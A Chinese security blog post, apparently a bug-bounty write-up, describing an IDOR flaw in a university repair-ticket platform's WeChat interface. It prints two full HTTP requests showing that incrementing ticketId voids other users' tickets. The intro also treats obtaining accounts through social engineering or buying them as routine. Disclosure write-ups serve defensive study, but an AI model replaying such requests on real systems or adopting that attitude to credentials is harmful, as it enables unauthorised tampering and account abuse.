某证书站的一次奇特的挖掘

原创

安全小生
安全小生

安全小生

2026年1月2日 22:24
江西

在小说阅读器读本章

去阅读

前言：得到邮件通知又上新了一个证书站于是就打开电脑简单的来了一次挖掘相较于寻常的web网站漏洞挖掘我还是更倾向于微信上的平台挖掘因为毕竟账号密码这玩意要么找朋友要要么社工出来要么某鱼上获取很可惜我没有那个学校的朋友又不想花钱哈哈所以就日该证书站微信的站点


假如文章对你有帮助，那麻烦师傅们点点关注和赞还有推荐，小生会不定时持续分享实战案例的！！！！认准公众号“安全小生”

进入该学校的后勤平台

这里有一个特殊的地方这也是我交了为什么没有重复的重要原因

在这里电脑访问该平台是这样的无论我点击哪里它都是跳转到主页里

但是当你用手机访问时就不一样了手机访问可以正常提交工单这时候我就来了兴趣了之前都没去配置手机的抓包环境看到这个于是就配置了一下

随便报修一个

然后再历史工单处作废工单处选择是

然后滑到最下面抓包（这里是抓手机的包所以要配一下手机抓包）抓到这个包

POST /osp2016/ticket/publish/pub.php?s=/pub/view/submit&pubid=ZbYr6b HTTP/1.1 Host: Cookie:  Content-Length: 57 Sec-Ch-Ua-Platform: \"Android\" User-Agent: Mozilla/5.0 (Linux; Android 14; V2238A Build/UP1A.231005.007; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/142.0.7444.173 Mobile Safari/537.36 XWEB/1420113 MMWEBSDK/20251006 MMWEBID/2224 MicroMessenger/8.0.66.2980(0x2800423E) WeChat/arm64 Weixin NetType/5G Language/zh_CN ABI/arm64 Accept: application/json, text/plain, */* Sec-Ch-Ua: \"Chromium\";v=\"142\", \"Android WebView\";v=\"142\", \"Not_A Brand\";v=\"99\" Content-Type: application/x-www-form-urlencoded Sec-Ch-Ua-Mobile: ?1 Origin:  X-Requested-With: com.tencent.mm Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=1, i Connection: keep-alive field_32=5030197&pubid=ZbYr6b&replyMsg=&ticketId=33882558

通过修改ticketId即可做到水平越权作废其他人的工单

经过测试两个相邻的工单 ticketId是相邻的故是可便利id

然后在另一个账户创建一个工单修改ticketId为33882559即可成功作废

POST /osp2016/ticket/publish/pub.php?s=/pub/view/submit&pubid=ZbYr6b HTTP/1.1 Host:  Cookie:  Content-Length: 57 Sec-Ch-Ua-Platform: \"Android\" User-Agent: Mozilla/5.0 (Linux; Android 14; V2238A Build/UP1A.231005.007; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/142.0.7444.173 Mobile Safari/537.36 XWEB/1420113 MMWEBSDK/20251006 MMWEBID/2224 MicroMessenger/8.0.66.2980(0x2800423E) WeChat/arm64 Weixin NetType/5G Language/zh_CN ABI/arm64 Accept: application/json, text/plain, */* Sec-Ch-Ua: \"Chromium\";v=\"142\", \"Android WebView\";v=\"142\", \"Not_A Brand\";v=\"99\" Content-Type: application/x-www-form-urlencoded Sec-Ch-Ua-Mobile: ?1 Origin:  X-Requested-With: com.tencent.mm Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer:  Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=1, i Connection: keep-alive field_32=5030197&pubid=ZbYr6b&replyMsg=&ticketId=33882559